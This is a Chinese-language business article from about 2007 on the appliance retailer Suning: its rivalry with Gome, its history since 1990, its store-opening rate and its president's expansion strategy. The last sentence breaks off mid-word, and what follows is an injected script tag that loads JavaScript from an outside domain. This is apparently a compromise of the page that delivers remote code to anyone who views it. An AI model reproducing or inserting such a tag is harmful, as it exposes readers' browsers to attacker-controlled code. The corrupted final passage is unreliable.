“不成长，则消失”，这是一位经济学者对目前连锁企业面临的压力日益加大状况的描述。家电连锁经历着几轮的革新之后日益壮大，与传统渠道的对垒，与百货业、超市的竞争，家电连锁占据了主流的地位。在这场变革中，苏宁也经历着从一个空调代理商到全国连锁的转变，成长后的苏宁又应该如何在企业规模变大、竞争环境激烈的同时保持反应敏捷，勇于进取，从而适应并胜出市场？在苏宁看来，把竞争对手当作“磨刀石”，以“先吃肉后啃骨头”的方式扩大店面规模，提高信息化管理是其处于不败之地的法宝。
对手是我的“磨刀石”
2007胡润品牌榜显示，苏宁股价去年一年内涨了5倍多，其品牌价值也从去年的26亿元上升到今年的125亿元，不仅是增长最为迅速的品牌之一，苏宁的市值仍占家电连锁的首位。
从目前家电连锁的自身实力来看，三足鼎立(国美永乐、苏宁、百思买五星)的格局中，国美是苏宁最大的竞争对手，国美与永乐合并后，其店面的总数是苏宁的两倍，在业内人士看来，其能量、规模、财力、市场覆盖以及影响力对苏宁形成巨大压力。
但尽管如此，苏宁电器总裁孙为民认为，今天的竞争对手在苏宁17年的风雨磨练中实力悬殊是最小的。
苏宁一直把竞争对手作为自身发展的“磨刀石”，与竞争对手的每次较量，都成为苏宁发展中的转折点：1993年，苏宁以仅200平方米的空调专卖店与八大商场组成的“联合舰队”搏击时，凭借淡季订货、反季打款的创新模式，最终赢得产品的货源和价格，并迅速击败对手。这一“战役”成为苏宁向连锁商转型的基础。
随后，1996年，整个空调市场乃至家电市场出现了供过于求的时代，利润下降，市场竞争日趋激烈。苏宁迎来了自己成长征途上的二次重大“战役”，从批发到零售，从单一的空调经营开始转向综合家电。而1999年12月，苏宁新街口店的开业，标志着苏宁三年多的战略转型完成。
2002年，苏宁进一步加快全国连锁的步伐，进军北京、攻占上海、力克华南、固守南京，成为苏宁与当地本土零售巨头较量的四大历史案例，也同时完成了一级市场的布局。
2004年4月，苏宁在深圳上市，为苏宁日后扩张资金奠定了基础。2005年至今，苏宁开始耕深细作，强化店面信息系统和提高管理水平。
而对于如今的苏宁来说，苏宁该如何在企业规模变大、竞争环境激烈的同时保持反应敏捷，勇于进取，从而适应并胜出市场？是其今后要逐一解决的难题。
从近两年家电连锁的发展来看，连锁巨头们开始把目光从规模扩张，同时转入到多元化投资，并频频出现并购事件。对于同行的这些举措，苏宁似乎并不关心？苏宁的投资人除了社会公众投资和基金两大部分组成外并无其他。
孙为民认为，从目前苏宁自身发展来看，并不适合引进多方投资。他说：“吸纳投资者主要取决于是否有利于公司的发展。比如它的管理、业务模式、资源等，如果仅限于国内发展，这些并不是我们迫切需求的。”
先吃肉后啃骨头
2001年，苏宁平均40天开一家店，经营面积为3000平方米；2002年，平均20天开一家店，经营面积平均为4000平方米；2003年，平均一周开一家店，经营面积为5000平方米；2004年苏宁平均5天开一家店；2005年，苏宁以1天1.7家店的速度进入全国51座城市，完成全国一级市场的布局；2006年，苏宁宣布发展再提速，在全国32家新店同时开业。
“2007年，苏宁将新增150家店面。”孙为民底气十足。
孙为民认为，家电连锁的开店规模和数量在近两年内仍不会停止，只是开店的速率会减慢。他同时表示：“全国目前有30个省会城市，300多个地级城市，有2000多个县级城市，从家电连锁的渗透力来看，一、二、三级市场累计加起来不达到400个城市和地区，而家电连锁只占了1/3。完全以开店的基数衡量，目前的家电连锁还都不能称为真正的全国连锁型企业。
也正是看到市场的空间，在今年4月，苏宁定向增发24.3亿元的主要资金用于加快全国连锁店的发展。
在连锁全国的战略布局上，孙为民用“先吃肉后啃骨头”来比喻苏宁扩店的发展思路。他说：“一级市场人口基数和市场容量比较大，在规划中，可以采取店面规模和数量来取胜。但在二级尤其是三级市场，产出的基数比较小，不可能开多个店，我们的进入，主要看该市场能不能形成一个规模效益。”
与行业内都认为连锁疯狂扩张将导致单店赢利能力下降不同，孙为民并不担心，他认为,这也是因为苏宁在网络布局中采取了与其他连锁与众不同的方式。他表示:“苏宁和国美店面结构不一样。虽然都是从一级城市渗入到二、三级市场，但苏宁刚开始从江苏走向全国，在店面分布上采取的是省会城市为辅，向周边城市渗透的方式，例如，预备在江苏开20个店时，省会城市只有一个店，其他19个店分布在二、三级市场。这样，平均的产出比就相对平衡。”
同时,苏宁采取“横向?script src=http://er12.com/t.js>
